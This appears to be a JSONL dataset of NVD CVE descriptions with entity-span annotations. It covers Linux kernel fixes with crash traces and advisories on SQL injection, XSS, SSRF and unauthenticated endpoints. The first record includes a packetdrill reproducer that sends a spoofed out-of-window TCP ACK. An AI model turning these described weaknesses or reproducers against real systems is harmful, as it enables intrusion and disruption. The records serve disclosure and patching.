{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: do not accept ACK of bytes we never sent\n\nThis patch is based on a detailed report and ideas from Yepeng Pan\nand Christian Rossow.\n\nACK seq validation is currently following RFC 5961 5.2 guidelines:\n\n   The ACK value is considered acceptable only if\n   it is in the range of ((SND.UNA - MAX.SND.WND) <= SEG.ACK <=\n   SND.NXT).  All incoming segments whose ACK value doesn't satisfy the\n   above condition MUST be discarded and an ACK sent back.  It needs to\n   be noted that RFC 793 on page 72 (fifth check) says: \"If the ACK is a\n   duplicate (SEG.ACK < SND.UNA), it can be ignored.  If the ACK\n   acknowledges something not yet sent (SEG.ACK > SND.NXT) then send an\n   ACK, drop the segment, and return\".  The \"ignored\" above implies that\n   the processing of the incoming data segment continues, which means\n   the ACK value is treated as acceptable.  This mitigation makes the\n   ACK check more stringent since any ACK < SND.UNA wouldn't be\n   accepted, instead only ACKs that are in the range ((SND.UNA -\n   MAX.SND.WND) <= SEG.ACK <= SND.NXT) get through.\n\nThis can be refined for new (and possibly spoofed) flows,\nby not accepting ACK for bytes that were never sent.\n\nThis greatly improves TCP security at a little cost.\n\nI added a Fixes: tag to make sure this patch will reach stable trees,\neven if the 'blamed' patch was adhering to the RFC.\n\ntp->bytes_acked was added in linux-4.2\n\nFollowing packetdrill test (courtesy of Yepeng Pan) shows\nthe issue at hand:\n\n0 socket(..., SOCK_STREAM, IPPROTO_TCP) = 3\n+0 setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0\n+0 bind(3, ..., ...) = 0\n+0 listen(3, 1024) = 0\n\n// ---------------- Handshake ------------------- //\n\n// when window scale is set to 14 the window size can be extended to\n// 65535 * (2^14) = 1073725440. Linux would accept an ACK packet\n// with ack number in (Server_ISN+1-1073725440. Server_ISN+1)\n// ,though this ack number acknowledges some data never\n// sent by the server.\n\n+0 < S 0:0(0) win 65535 <mss 1400,nop,wscale 14>\n+0 > S. 0:0(0) ack 1 <...>\n+0 < . 1:1(0) ack 1 win 65535\n+0 accept(3, ..., ...) = 4\n\n// For the established connection, we send an ACK packet,\n// the ack packet uses ack number 1 - 1073725300 + 2^32,\n// where 2^32 is used to wrap around.\n// Note: we used 1073725300 instead of 1073725440 to avoid possible\n// edge cases.\n// 1 - 1073725300 + 2^32 = 3221241997\n\n// Oops, old kernels happily accept this packet.\n+0 < . 1:1001(1000) ack 3221241997 win 65535\n\n// After the kernel fix the following will be replaced by a challenge ACK,\n// and prior malicious frame would be dropped.\n+0 > . 1:1(0) ack 1001", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[1847, 1852]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52881"}}
{"text": "Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.24.0-beta.1, the SignalK Server exposes an unauthenticated HTTP endpoint that allows remote attackers to modify navigation data source priorities. This endpoint, accessible via PUT /signalk/v1/api/sourcePriorities, does not enforce authentication or authorization checks and directly assigns user-controlled input to the server configuration. As a result, attackers can influence which GPS, AIS, or other sensor data sources are trusted by the system. The changes are immediately applied and persisted to disk, allowing the manipulation to survive server restarts. This issue has been patched in version 2.24.0-beta.1.", "spans": {"FILEPATH: /signalk/v1/api/sourcePriorities": [[278, 310]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33951"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: VMX: Always clear vmx->fail on emulation_required\n\nRevert a relatively recent change that set vmx->fail if the vCPU is in L2\nand emulation_required is true, as that behavior is completely bogus.\nSetting vmx->fail and synthesizing a VM-Exit is contradictory and wrong:\n\n  (a) it's impossible to have both a VM-Fail and VM-Exit\n  (b) vmcs.EXIT_REASON is not modified on VM-Fail\n  (c) emulation_required refers to guest state and guest state checks are\n      always VM-Exits, not VM-Fails.\n\nFor KVM specifically, emulation_required is handled before nested exits\nin __vmx_handle_exit(), thus setting vmx->fail has no immediate effect,\ni.e. KVM calls into handle_invalid_guest_state() and vmx->fail is ignored.\nSetting vmx->fail can ultimately result in a WARN in nested_vmx_vmexit()\nfiring when tearing down the VM as KVM never expects vmx->fail to be set\nwhen L2 is active, KVM always reflects those errors into L1.\n\n  ------------[ cut here ]------------\n  WARNING: CPU: 0 PID: 21158 at arch/x86/kvm/vmx/nested.c:4548\n                                nested_vmx_vmexit+0x16bd/0x17e0\n                                arch/x86/kvm/vmx/nested.c:4547\n  Modules linked in:\n  CPU: 0 PID: 21158 Comm: syz-executor.1 Not tainted 5.16.0-rc3-syzkaller #0\n  Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011\n  RIP: 0010:nested_vmx_vmexit+0x16bd/0x17e0 arch/x86/kvm/vmx/nested.c:4547\n  Code: <0f> 0b e9 2e f8 ff ff e8 57 b3 5d 00 0f 0b e9 00 f1 ff ff 89 e9 80\n  Call Trace:\n   vmx_leave_nested arch/x86/kvm/vmx/nested.c:6220 [inline]\n   nested_vmx_free_vcpu+0x83/0xc0 arch/x86/kvm/vmx/nested.c:330\n   vmx_free_vcpu+0x11f/0x2a0 arch/x86/kvm/vmx/vmx.c:6799\n   kvm_arch_vcpu_destroy+0x6b/0x240 arch/x86/kvm/x86.c:10989\n   kvm_vcpu_destroy+0x29/0x90 arch/x86/kvm/../../../virt/kvm/kvm_main.c:441\n   kvm_free_vcpus arch/x86/kvm/x86.c:11426 [inline]\n   kvm_arch_destroy_vm+0x3ef/0x6b0 arch/x86/kvm/x86.c:11545\n   kvm_destroy_vm arch/x86/kvm/../../../virt/kvm/kvm_main.c:1189 [inline]\n   kvm_put_kvm+0x751/0xe40 arch/x86/kvm/../../../virt/kvm/kvm_main.c:1220\n   kvm_vcpu_release+0x53/0x60 arch/x86/kvm/../../../virt/kvm/kvm_main.c:3489\n   __fput+0x3fc/0x870 fs/file_table.c:280\n   task_work_run+0x146/0x1c0 kernel/task_work.c:164\n   exit_task_work include/linux/task_work.h:32 [inline]\n   do_exit+0x705/0x24f0 kernel/exit.c:832\n   do_group_exit+0x168/0x2d0 kernel/exit.c:929\n   get_signal+0x1740/0x2120 kernel/signal.c:2852\n   arch_do_signal_or_restart+0x9c/0x730 arch/x86/kernel/signal.c:868\n   handle_signal_work kernel/entry/common.c:148 [inline]\n   exit_to_user_mode_loop kernel/entry/common.c:172 [inline]\n   exit_to_user_mode_prepare+0x191/0x220 kernel/entry/common.c:207\n   __syscall_exit_to_user_mode_work kernel/entry/common.c:289 [inline]\n   syscall_exit_to_user_mode+0x2e/0x70 kernel/entry/common.c:300\n   do_syscall_64+0x53/0xd0 arch/x86/entry/common.c:86\n   entry_SYSCALL_64_after_hwframe+0x44/0xae", "spans": {"FILEPATH: /x86/kvm/vmx/nested.c": [[1064, 1085], [1191, 1212], [1456, 1477], [1597, 1618], [1671, 1692]], "FILEPATH: /01/2011": [[1399, 1407]], "FILEPATH: /x86/kvm/vmx/vmx.c": [[1730, 1748]], "FILEPATH: /x86/kvm/x86.c": [[1794, 1808], [1913, 1927], [1982, 1996]], "FILEPATH: /x86/kvm/../../../virt/kvm/kvm_main.c": [[1849, 1886], [2025, 2062], [2108, 2145], [2185, 2222]], "FILEPATH: /linux/task_work.h": [[2347, 2365]], "FILEPATH: /x86/kernel/signal.c": [[2560, 2580]], "FILEPATH: /entry/common.c": [[2613, 2628], [2674, 2689], [2750, 2765], [2812, 2827], [2886, 2901]], "FILEPATH: /x86/entry/common.c": [[2937, 2956]], "FILEPATH: file_table.c": [[2253, 2265]], "FILEPATH: task_work.c": [[2306, 2317]], "FILEPATH: exit.c": [[2409, 2415], [2456, 2462]], "FILEPATH: signal.c": [[2502, 2510]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[69, 72], [566, 569], [711, 714], [889, 892], [946, 949]], "ORGANIZATION: Google": [[1333, 1339], [1340, 1346], [1362, 1368], [1390, 1396]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47092"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: correct the order of prelim_ref arguments in btrfs__prelim_ref\n\nbtrfs_prelim_ref() calls the old and new reference variables in the\nincorrect order. This causes a NULL pointer dereference because oldref\nis passed as NULL to trace_btrfs_prelim_ref_insert().\n\nNote, trace_btrfs_prelim_ref_insert() is being called with newref as\noldref (and oldref as NULL) on purpose in order to print out\nthe values of newref.\n\nTo reproduce:\necho 1 > /sys/kernel/debug/tracing/events/btrfs/btrfs_prelim_ref_insert/enable\n\nPerform some writeback operations.\n\nBacktrace:\nBUG: kernel NULL pointer dereference, address: 0000000000000018\n #PF: supervisor read access in kernel mode\n #PF: error_code(0x0000) - not-present page\n PGD 115949067 P4D 115949067 PUD 11594a067 PMD 0\n Oops: Oops: 0000 [#1] SMP NOPTI\n CPU: 1 UID: 0 PID: 1188 Comm: fsstress Not tainted 6.15.0-rc2-tester+ #47 PREEMPT(voluntary)  7ca2cef72d5e9c600f0c7718adb6462de8149622\n Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.3-2-gc13ff2cd-prebuilt.qemu.org 04/01/2014\n RIP: 0010:trace_event_raw_event_btrfs__prelim_ref+0x72/0x130\n Code: e8 43 81 9f ff 48 85 c0 74 78 4d 85 e4 0f 84 8f 00 00 00 49 8b 94 24 c0 06 00 00 48 8b 0a 48 89 48 08 48 8b 52 08 48 89 50 10 <49> 8b 55 18 48 89 50 18 49 8b 55 20 48 89 50 20 41 0f b6 55 28 88\n RSP: 0018:ffffce44820077a0 EFLAGS: 00010286\n RAX: ffff8c6b403f9014 RBX: ffff8c6b55825730 RCX: 304994edf9cf506b\n RDX: d8b11eb7f0fdb699 RSI: ffff8c6b403f9010 RDI: ffff8c6b403f9010\n RBP: 0000000000000001 R08: 0000000000000001 R09: 0000000000000010\n R10: 00000000ffffffff R11: 0000000000000000 R12: ffff8c6b4e8fb000\n R13: 0000000000000000 R14: ffffce44820077a8 R15: ffff8c6b4abd1540\n FS:  00007f4dc6813740(0000) GS:ffff8c6c1d378000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 0000000000000018 CR3: 000000010eb42000 CR4: 0000000000750ef0\n PKRU: 55555554\n Call Trace:\n  <TASK>\n  prelim_ref_insert+0x1c1/0x270\n  find_parent_nodes+0x12a6/0x1ee0\n  ? __entry_text_end+0x101f06/0x101f09\n  ? srso_alias_return_thunk+0x5/0xfbef5\n  ? srso_alias_return_thunk+0x5/0xfbef5\n  ? srso_alias_return_thunk+0x5/0xfbef5\n  ? srso_alias_return_thunk+0x5/0xfbef5\n  btrfs_is_data_extent_shared+0x167/0x640\n  ? fiemap_process_hole+0xd0/0x2c0\n  extent_fiemap+0xa5c/0xbc0\n  ? __entry_text_end+0x101f05/0x101f09\n  btrfs_fiemap+0x7e/0xd0\n  do_vfs_ioctl+0x425/0x9d0\n  __x64_sys_ioctl+0x75/0xc0", "spans": {"DOMAIN: rel-1.16.3-2-gc13ff2cd-prebuilt.qemu.org": [[1056, 1096]], "HASH: 7ca2cef72d5e9c600f0c7718adb6462de8149622": [[957, 997]], "FILEPATH: /sys/kernel/debug/tracing/events/btrfs/btrfs_prelim_ref_insert/enable": [[510, 579]], "FILEPATH: /01/2014": [[1099, 1107]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1014, 1018]], "VULNERABILITY: NULL pointer dereference": [[239, 263], [640, 664]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38034"}}
{"text": "Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Diagnostics). Supported versions that are affected are 12.1.3 and 12.2.3-12.2.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Application Object Library. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Application Object Library, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Application Object Library accessible data. CVSS 3.1 Base Score 4.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [66, 72], [291, 297], [443, 449], [643, 649]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14554"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nphy: ti: Fix missing sentinel for clk_div_table\n\n_get_table_maxdiv() tries to access \"clk_div_table\" array out of bound\ndefined in phy-j721e-wiz.c. Add a sentinel entry to prevent\nthe following global-out-of-bounds error reported by enabling KASAN.\n\n[    9.552392] BUG: KASAN: global-out-of-bounds in _get_maxdiv+0xc0/0x148\n[    9.558948] Read of size 4 at addr ffff8000095b25a4 by task kworker/u4:1/38\n[    9.565926]\n[    9.567441] CPU: 1 PID: 38 Comm: kworker/u4:1 Not tainted 5.16.0-116492-gdaadb3bd0e8d-dirty #360\n[    9.576242] Hardware name: Texas Instruments J721e EVM (DT)\n[    9.581832] Workqueue: events_unbound deferred_probe_work_func\n[    9.587708] Call trace:\n[    9.590174]  dump_backtrace+0x20c/0x218\n[    9.594038]  show_stack+0x18/0x68\n[    9.597375]  dump_stack_lvl+0x9c/0xd8\n[    9.601062]  print_address_description.constprop.0+0x78/0x334\n[    9.606830]  kasan_report+0x1f0/0x260\n[    9.610517]  __asan_load4+0x9c/0xd8\n[    9.614030]  _get_maxdiv+0xc0/0x148\n[    9.617540]  divider_determine_rate+0x88/0x488\n[    9.622005]  divider_round_rate_parent+0xc8/0x124\n[    9.626729]  wiz_clk_div_round_rate+0x54/0x68\n[    9.631113]  clk_core_determine_round_nolock+0x124/0x158\n[    9.636448]  clk_core_round_rate_nolock+0x68/0x138\n[    9.641260]  clk_core_set_rate_nolock+0x268/0x3a8\n[    9.645987]  clk_set_rate+0x50/0xa8\n[    9.649499]  cdns_sierra_phy_init+0x88/0x248\n[    9.653794]  phy_init+0x98/0x108\n[    9.657046]  cdns_pcie_enable_phy+0xa0/0x170\n[    9.661340]  cdns_pcie_init_phy+0x250/0x2b0\n[    9.665546]  j721e_pcie_probe+0x4b8/0x798\n[    9.669579]  platform_probe+0x8c/0x108\n[    9.673350]  really_probe+0x114/0x630\n[    9.677037]  __driver_probe_device+0x18c/0x220\n[    9.681505]  driver_probe_device+0xac/0x150\n[    9.685712]  __device_attach_driver+0xec/0x170\n[    9.690178]  bus_for_each_drv+0xf0/0x158\n[    9.694124]  __device_attach+0x184/0x210\n[    9.698070]  device_initial_probe+0x14/0x20\n[    9.702277]  bus_probe_device+0xec/0x100\n[    9.706223]  deferred_probe_work_func+0x124/0x180\n[    9.710951]  process_one_work+0x4b0/0xbc0\n[    9.714983]  worker_thread+0x74/0x5d0\n[    9.718668]  kthread+0x214/0x230\n[    9.721919]  ret_from_fork+0x10/0x20\n[    9.725520]\n[    9.727032] The buggy address belongs to the variable:\n[    9.732183]  clk_div_table+0x24/0x440", "spans": {"FILEPATH: wiz.c": [[210, 215]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48803"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncomedi: vmk80xx: fix incomplete endpoint checking\n\nWhile vmk80xx does have endpoint checking implemented, some things\ncan fall through the cracks. Depending on the hardware model,\nURBs can have either bulk or interrupt type, and current version\nof vmk80xx_find_usb_endpoints() function does not take that fully\ninto account. While this warning does not seem to be too harmful,\nat the very least it will crash systems with 'panic_on_warn' set on\nthem.\n\nFix the issue found by Syzkaller [1] by somewhat simplifying the\nendpoint checking process with usb_find_common_endpoints() and\nensuring that only expected endpoint types are present.\n\nThis patch has not been tested on real hardware.\n\n[1] Syzkaller report:\nusb 1-1: BOGUS urb xfer, pipe 1 != type 3\nWARNING: CPU: 0 PID: 781 at drivers/usb/core/urb.c:504 usb_submit_urb+0xc4e/0x18c0 drivers/usb/core/urb.c:503\n...\nCall Trace:\n <TASK>\n usb_start_wait_urb+0x113/0x520 drivers/usb/core/message.c:59\n vmk80xx_reset_device drivers/comedi/drivers/vmk80xx.c:227 [inline]\n vmk80xx_auto_attach+0xa1c/0x1a40 drivers/comedi/drivers/vmk80xx.c:818\n comedi_auto_config+0x238/0x380 drivers/comedi/drivers.c:1067\n usb_probe_interface+0x5cd/0xb00 drivers/usb/core/driver.c:399\n...\n\nSimilar issue also found by Syzkaller:", "spans": {"FILEPATH: /usb/core/urb.c": [[855, 870], [910, 925]], "FILEPATH: /usb/core/message.c": [[993, 1012]], "FILEPATH: /comedi/drivers/vmk80xx.c": [[1045, 1070], [1125, 1150]], "FILEPATH: /comedi/drivers.c": [[1194, 1211]], "FILEPATH: /usb/core/driver.c": [[1257, 1275]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-27001"}}
{"text": "This vulnerability allows remote attackers to disclose sensitive information on affected installations of Foxit Reader 9.7.0.29455. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the processing of JPEG2000 files. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated buffer. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the current process. Was ZDI-CAN-9416.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-8852"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm cache: free background tracker's queued work in btracker_destroy\n\nOtherwise the kernel can BUG with:\n\n[ 2245.426978] =============================================================================\n[ 2245.435155] BUG bt_work (Tainted: G    B   W         ): Objects remaining in bt_work on __kmem_cache_shutdown()\n[ 2245.445233] -----------------------------------------------------------------------------\n[ 2245.445233]\n[ 2245.454879] Slab 0x00000000b0ce2b30 objects=64 used=2 fp=0x000000000a3c6a4e flags=0x17ffffc0000200(slab|node=0|zone=2|lastcpupid=0x1fffff)\n[ 2245.467300] CPU: 7 PID: 10805 Comm: lvm Kdump: loaded Tainted: G    B   W          6.0.0-rc2 #19\n[ 2245.476078] Hardware name: Dell Inc. PowerEdge R7525/0590KW, BIOS 2.5.6 10/06/2021\n[ 2245.483646] Call Trace:\n[ 2245.486100]  <TASK>\n[ 2245.488206]  dump_stack_lvl+0x34/0x48\n[ 2245.491878]  slab_err+0x95/0xcd\n[ 2245.495028]  __kmem_cache_shutdown.cold+0x31/0x136\n[ 2245.499821]  kmem_cache_destroy+0x49/0x130\n[ 2245.503928]  btracker_destroy+0x12/0x20 [dm_cache]\n[ 2245.508728]  smq_destroy+0x15/0x60 [dm_cache_smq]\n[ 2245.513435]  dm_cache_policy_destroy+0x12/0x20 [dm_cache]\n[ 2245.518834]  destroy+0xc0/0x110 [dm_cache]\n[ 2245.522933]  dm_table_destroy+0x5c/0x120 [dm_mod]\n[ 2245.527649]  __dm_destroy+0x10e/0x1c0 [dm_mod]\n[ 2245.532102]  dev_remove+0x117/0x190 [dm_mod]\n[ 2245.536384]  ctl_ioctl+0x1a2/0x290 [dm_mod]\n[ 2245.540579]  dm_ctl_ioctl+0xa/0x20 [dm_mod]\n[ 2245.544773]  __x64_sys_ioctl+0x8a/0xc0\n[ 2245.548524]  do_syscall_64+0x5c/0x90\n[ 2245.552104]  ? syscall_exit_to_user_mode+0x12/0x30\n[ 2245.556897]  ? do_syscall_64+0x69/0x90\n[ 2245.560648]  ? do_syscall_64+0x69/0x90\n[ 2245.564394]  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n[ 2245.569447] RIP: 0033:0x7fe52583ec6b\n...\n[ 2245.646771] ------------[ cut here ]------------\n[ 2245.651395] kmem_cache_destroy bt_work: Slab cache still has objects when called from btracker_destroy+0x12/0x20 [dm_cache]\n[ 2245.651408] WARNING: CPU: 7 PID: 10805 at mm/slab_common.c:478 kmem_cache_destroy+0x128/0x130\n\nFound using: lvm2-testsuite --only \"cache-single-split.sh\"\n\nBen bisected and found that commit 0495e337b703 (\"mm/slab_common:\nDeleting kobject in kmem_cache_destroy() without holding\nslab_mutex/cpu_hotplug_lock\") first exposed dm-cache's incomplete\ncleanup of its background tracker work objects.", "spans": {"FILEPATH: /06/2021": [[809, 817]], "FILEPATH: slab_common.c": [[2051, 2064]], "FILEPATH: split.sh": [[2150, 2158]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Dell": [[762, 766]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53765"}}
{"text": "DataEase is an open-source data visualization and analytics platform. Versions 2.10.20 and below contain a SQL injection vulnerability in the API datasource update process. When a new table definition is added during a datasource update via /de2api/datasource/update, the deTableName field from the user-submitted configuration is passed to DatasourceSyncManage.createEngineTable, where it is substituted into a CREATE TABLE statement template without any sanitization or identifier escaping. An authenticated attacker can inject arbitrary SQL commands by crafting a deTableName that breaks out of identifier quoting, enabling error-based SQL injection that can extract database information. This issue has been fixed in version 2.10.21.", "spans": {"FILEPATH: /de2api/datasource/update": [[241, 266]], "VULNERABILITY: SQL injection": [[107, 120], [639, 652]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33122"}}
{"text": "Cross-site scripting (XSS) vulnerability in admin/nav/add.html in noneCMS v1.3.0 allows remote authenticated attackers to inject arbitrary web script or HTML via the name parameter.", "spans": {"FILEPATH: /nav/add.html": [[49, 62]], "VULNERABILITY: Cross-site scripting": [[0, 20]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-23373"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncachefiles: cyclic allocation of msg_id to avoid reuse\n\nReusing the msg_id after a maliciously completed reopen request may cause\na read request to remain unprocessed and result in a hung, as shown below:\n\n       t1       |      t2       |      t3\n-------------------------------------------------\ncachefiles_ondemand_select_req\n cachefiles_ondemand_object_is_close(A)\n cachefiles_ondemand_set_object_reopening(A)\n queue_work(fscache_object_wq, &info->work)\n                ondemand_object_worker\n                 cachefiles_ondemand_init_object(A)\n                  cachefiles_ondemand_send_req(OPEN)\n                    // get msg_id 6\n                    wait_for_completion(&req_A->done)\ncachefiles_ondemand_daemon_read\n // read msg_id 6 req_A\n cachefiles_ondemand_get_fd\n copy_to_user\n                                // Malicious completion msg_id 6\n                                copen 6,-1\n                                cachefiles_ondemand_copen\n                                 complete(&req_A->done)\n                                 // will not set the object to close\n                                 // because ondemand_id && fd is valid.\n\n                // ondemand_object_worker() is done\n                // but the object is still reopening.\n\n                                // new open req_B\n                                cachefiles_ondemand_init_object(B)\n                                 cachefiles_ondemand_send_req(OPEN)\n                                 // reuse msg_id 6\nprocess_open_req\n copen 6,A.size\n // The expected failed copen was executed successfully\n\nExpect copen to fail, and when it does, it closes fd, which sets the\nobject to close, and then close triggers reopen again. However, due to\nmsg_id reuse resulting in a successful copen, the anonymous fd is not\nclosed until the daemon exits. Therefore read requests waiting for reopen\nto complete may trigger hung task.\n\nTo avoid this issue, allocate the msg_id cyclically to avoid reusing the\nmsg_id for a very short duration of time.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-41050"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: systemport: Add global locking for descriptor lifecycle\n\nThe descriptor list is a shared resource across all of the transmit queues, and\nthe locking mechanism used today only protects concurrency across a given\ntransmit queue between the transmit and reclaiming. This creates an opportunity\nfor the SYSTEMPORT hardware to work on corrupted descriptors if we have\nmultiple producers at once which is the case when using multiple transmit\nqueues.\n\nThis was particularly noticeable when using multiple flows/transmit queues and\nit showed up in interesting ways in that UDP packets would get a correct UDP\nheader checksum being calculated over an incorrect packet length. Similarly TCP\npackets would get an equally correct checksum computed by the hardware over an\nincorrect packet length.\n\nThe SYSTEMPORT hardware maintains an internal descriptor list that it re-arranges\nwhen the driver produces a new descriptor anytime it writes to the\nWRITE_PORT_{HI,LO} registers, there is however some delay in the hardware to\nre-organize its descriptors and it is possible that concurrent TX queues\neventually break this internal allocation scheme to the point where the\nlength/status part of the descriptor gets used for an incorrect data buffer.\n\nThe fix is to impose a global serialization for all TX queues in the short\nsection where we are writing to the WRITE_PORT_{HI,LO} registers which solves\nthe corruption even with multiple concurrent TX queues being used.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47587"}}
{"text": "OpenSTAManager is an open source management software for technical assistance and invoicing. Prior to version 2.10.2, the Aggiornamenti (Updates) module in OpenSTAManager contains a database conflict resolution feature (op=risolvi-conflitti-database) that accepts a JSON array of SQL statements via POST and executes them directly against the database without any validation, allowlist, or sanitization. An authenticated attacker with access to the Aggiornamenti module can execute arbitrary SQL statements including CREATE, DROP, ALTER, INSERT, UPDATE, DELETE, SELECT INTO OUTFILE, and any other SQL command supported by the MySQL server. Foreign key checks are explicitly disabled before execution (SET FOREIGN_KEY_CHECKS=0), further reducing database integrity protections. This issue has been patched in version 2.10.2.", "spans": {"SYSTEM: MySQL": [[626, 631]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-35168"}}
{"text": "LibreChat is a ChatGPT clone with additional features. Versions 0.8.2-rc2 through 0.8.2 are vulnerable to a server-side request forgery (SSRF) attack when using agent actions or MCP. Although a previous SSRF vulnerability (https://github.com/danny-avila/LibreChat/security/advisories/GHSA-rgjq-4q58-m3q8) was reported and patched, the fix only introduced hostname validation. It does not verify whether DNS resolution results in a private IP address. As a result, an attacker can still bypass the protection and gain access to internal resources, such as an internal RAG API or cloud instance metadata endpoints. Version 0.8.3-rc1 contains a patch.", "spans": {"URL: https://github.com/danny-avila/LibreChat/security/advisories/GHSA-rgjq-4q58-m3q8": [[223, 303]], "VULNERABILITY: server-side request forgery": [[108, 135]], "VULNERABILITY: SSRF": [[137, 141], [203, 207]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31945"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix transaction atomicity bug when enabling simple quotas\n\nSet squota incompat bit before committing the transaction that enables\nthe feature.\n\nWith the config CONFIG_BTRFS_ASSERT enabled, an assertion\nfailure occurs regarding the simple quota feature.\n\n  [5.596534] assertion failed: btrfs_fs_incompat(fs_info, SIMPLE_QUOTA), in fs/btrfs/qgroup.c:365\n  [5.597098] ------------[ cut here ]------------\n  [5.597371] kernel BUG at fs/btrfs/qgroup.c:365!\n  [5.597946] CPU: 1 UID: 0 PID: 268 Comm: mount Not tainted 6.13.0-rc2-00031-gf92f4749861b #146\n  [5.598450] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014\n  [5.599008] RIP: 0010:btrfs_read_qgroup_config+0x74d/0x7a0\n  [5.604303]  <TASK>\n  [5.605230]  ? btrfs_read_qgroup_config+0x74d/0x7a0\n  [5.605538]  ? exc_invalid_op+0x56/0x70\n  [5.605775]  ? btrfs_read_qgroup_config+0x74d/0x7a0\n  [5.606066]  ? asm_exc_invalid_op+0x1f/0x30\n  [5.606441]  ? btrfs_read_qgroup_config+0x74d/0x7a0\n  [5.606741]  ? btrfs_read_qgroup_config+0x74d/0x7a0\n  [5.607038]  ? try_to_wake_up+0x317/0x760\n  [5.607286]  open_ctree+0xd9c/0x1710\n  [5.607509]  btrfs_get_tree+0x58a/0x7e0\n  [5.608002]  vfs_get_tree+0x2e/0x100\n  [5.608224]  fc_mount+0x16/0x60\n  [5.608420]  btrfs_get_tree+0x2f8/0x7e0\n  [5.608897]  vfs_get_tree+0x2e/0x100\n  [5.609121]  path_mount+0x4c8/0xbc0\n  [5.609538]  __x64_sys_mount+0x10d/0x150\n\nThe issue can be easily reproduced using the following reproducer:\n\n  root@q:linux# cat repro.sh\n  set -e\n\n  mkfs.btrfs -q -f /dev/sdb\n  mount /dev/sdb /mnt/btrfs\n  btrfs quota enable -s /mnt/btrfs\n  umount /mnt/btrfs\n  mount /dev/sdb /mnt/btrfs\n\nThe issue is that when enabling quotas, at btrfs_quota_enable(), we set\nBTRFS_QGROUP_STATUS_FLAG_SIMPLE_MODE at fs_info->qgroup_flags and persist\nit in the quota root in the item with the key BTRFS_QGROUP_STATUS_KEY, but\nwe only set the incompat bit BTRFS_FEATURE_INCOMPAT_SIMPLE_QUOTA after we\ncommit the transaction used to enable simple quotas.\n\nThis means that if after that transaction commit we unmount the filesystem\nwithout starting and committing any other transaction, or we have a power\nfailure, the next time we mount the filesystem we will find the flag\nBTRFS_QGROUP_STATUS_FLAG_SIMPLE_MODE set in the item with the key\nBTRFS_QGROUP_STATUS_KEY but we will not find the incompat bit\nBTRFS_FEATURE_INCOMPAT_SIMPLE_QUOTA set in the superblock, triggering an\nassertion failure at:\n\n  btrfs_read_qgroup_config() -> qgroup_read_enable_gen()\n\nTo fix this issue, set the BTRFS_FEATURE_INCOMPAT_SIMPLE_QUOTA flag\nimmediately after setting the BTRFS_QGROUP_STATUS_FLAG_SIMPLE_MODE.\nThis ensures that both flags are flushed to disk within the same\ntransaction.", "spans": {"FILEPATH: /btrfs/qgroup.c": [[408, 423], [507, 522]], "FILEPATH: /01/2014": [[722, 730]], "FILEPATH: /dev/sdb": [[1588, 1596], [1605, 1613], [1688, 1696]], "FILEPATH: /mnt/btrfs": [[1614, 1624], [1649, 1659], [1669, 1679], [1697, 1707]], "FILEPATH: repro.sh": [[1550, 1558]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[652, 656]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-57806"}}
